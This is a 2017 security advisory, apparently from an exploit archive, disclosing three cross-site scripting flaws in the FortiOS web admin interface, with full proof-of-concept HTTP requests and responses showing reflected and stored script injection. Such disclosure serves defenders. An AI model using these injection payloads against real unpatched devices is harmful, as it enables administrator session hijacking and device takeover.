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FortiOS 5.6.0 Cross Site Scripting

FortiOS 5.6.0 Cross Site Scripting
Posted Jul 28, 2017
Authored by Patryk Bogdan

FortiOS versions 5.6.0 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2017-3131, CVE-2017-3132, CVE-2017-3133
MD5 | 6afa609fab8f6ba22f68eb428c0d3a8f

FortiOS 5.6.0 Cross Site Scripting

Change Mirror Download
# Title: FortiOS <= 5.6.0 Multiple XSS Vulnerabilities
# Vendor: Fortinet (www.fortinet.com)
# CVE: CVE-2017-3131, CVE-2017-3132, CVE-2017-3133
# Date: 28.07.2016
# Author: Patryk Bogdan (@patryk_bogdan)

Affected FortiNet products:
* CVE-2017-3131 : FortiOS versions 5.4.0 to 5.6.0
* CVE-2017-3132 : FortiOS versions upto 5.6.0
* CVE-2017-3133 : FortiOS versions upto 5.6.0

Fix:
Upgrade to FortiOS version 5.6.1

Video PoC (add admin):
https://youtu.be/fcpLStCD61Q

Vendor advisory:
https://fortiguard.com/psirt/FG-IR-17-104


Vulns:

1. XSS in WEB UI - Applications:

URL:
https://192.168.1.99/ng/fortiview/app/15832" onmouseover=alert('XSS') x="y

Http request:
GET /ng/fortiview/app/15832%22%20onmouseover=alert('XSS')%20x=%22y HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AZxzmYv40KrD1JvCdcctTzmuS+OEd08y+4Vh54tq%2Fap2ej%2F1gJfbaindJ5r4wDXZh%0A4q%2FfgVCdTfMFn+Mr6Xj5Og%3D%3D%0A%26AuthHash%3D9+TbiFXbk+Qkks0pPlkbNDx2L1EA%0A"; ccsrftoken_573485771="5424C6B3842788A23E3413307F1DFFC5"; ccsrftoken="5424C6B3842788A23E3413307F1DFFC5"; VDOM_573485771=root; csrftoken_573485771=da85e919f71a610c45aff174b23c7a10
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 12:07:47 GMT
Server: xxxxxxxx-xxxxx
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Vary: Accept-Encoding
Content-Length: 6150
Connection: close
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-UA-Compatible: IE=Edge
(...)
<span class="fgd-app tooltip id_15832" onmouseover="alert('XSS')" x="y " data-address="undefined" data-dport="443" data-protocol="6"><a href="https://www.fortiguard.com/fos/15832" onclick="return false;" data-hasqtip="2"><span class="app_icon app15832" onmouseover="alert('XSS')" x="y"></span><label class="app_label" title="">15832" onmouseover=alert('XSS') x="y</label></a></span>
(...)


2. XSS in WEB UI - Assign Token:

URL:
https://192.168.1.99/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert('XSS')%3C/script%3E%3Cscript%3E

Http request:
GET /p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E%3Cscript%3E HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0ALuXSfDjrp0Gel8F8TeKlBgC3kk4P1mhdELHr2Cicb3Zb6hBUnT9ZZnjXC44Dc7bD%0Ae2ymJG%2FgbHFa+4N9AVDIrg%3D%3D%0A%26AuthHash%3DMyJMLA32ueruHIEKia2eb9BWi8oA%0A"; ccsrftoken_573485771="314A25687F6B2075F9413405575D477"; ccsrftoken="314A25687F6B2075F9413405575D477"; VDOM_573485771=root; csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 13:39:17 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 13:39:17 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 23 Mar 2017 13:39:17 GMT
X-UA-Compatible: IE=Edge
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160; expires=Thu, 22-Mar-2018 13:39:17 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3485
(...)
<script type="text/javascript">
var ftokens = [];
var action = '</script><script>alert('XSS')</script><script>';
</script>
</head>
(...)


3. Stored XSS in WEB UI - Replacement Messages:

#1 - Http request:
POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff
X-Requested-With: XMLHttpRequest
Content-Length: 125
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D
DNT: 1
Connection: close

csrfmiddlewaretoken=d58f666c794024295cece8c5b8b6a3ff&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert('XSS')%3C%2Fscript%3E%0A

#1 - Http response:
HTTP/1.1 302 FOUND
Date: Thu, 23 Mar 2017 15:36:33 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 15:36:33 GMT
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
X-UA-Compatible: IE=Edge
Set-Cookie: EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D; Path=/
Location: https://192.168.1.99/p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 0

#2 - Http request:
GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff
X-Requested-With: XMLHttpRequest
Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D
DNT: 1
Connection: close

#2 - Http response:
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 15:36:33 GMT
Server: xxxxxxxx-xxxxx
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 23 Mar 2017 15:36:33 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT
X-UA-Compatible: IE=Edge
Cache-Control: max-age=0
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; expires=Thu, 22-Mar-2018 15:36:33 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 70940
(...)
<form id="replacemsg_form">
<div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='d58f666c794024295cece8c5b8b6a3ff' /></div> <textarea id="buffer" name="buffer">ABC</textarea>
<script>alert('XSS')</script>
</textarea>
(...)

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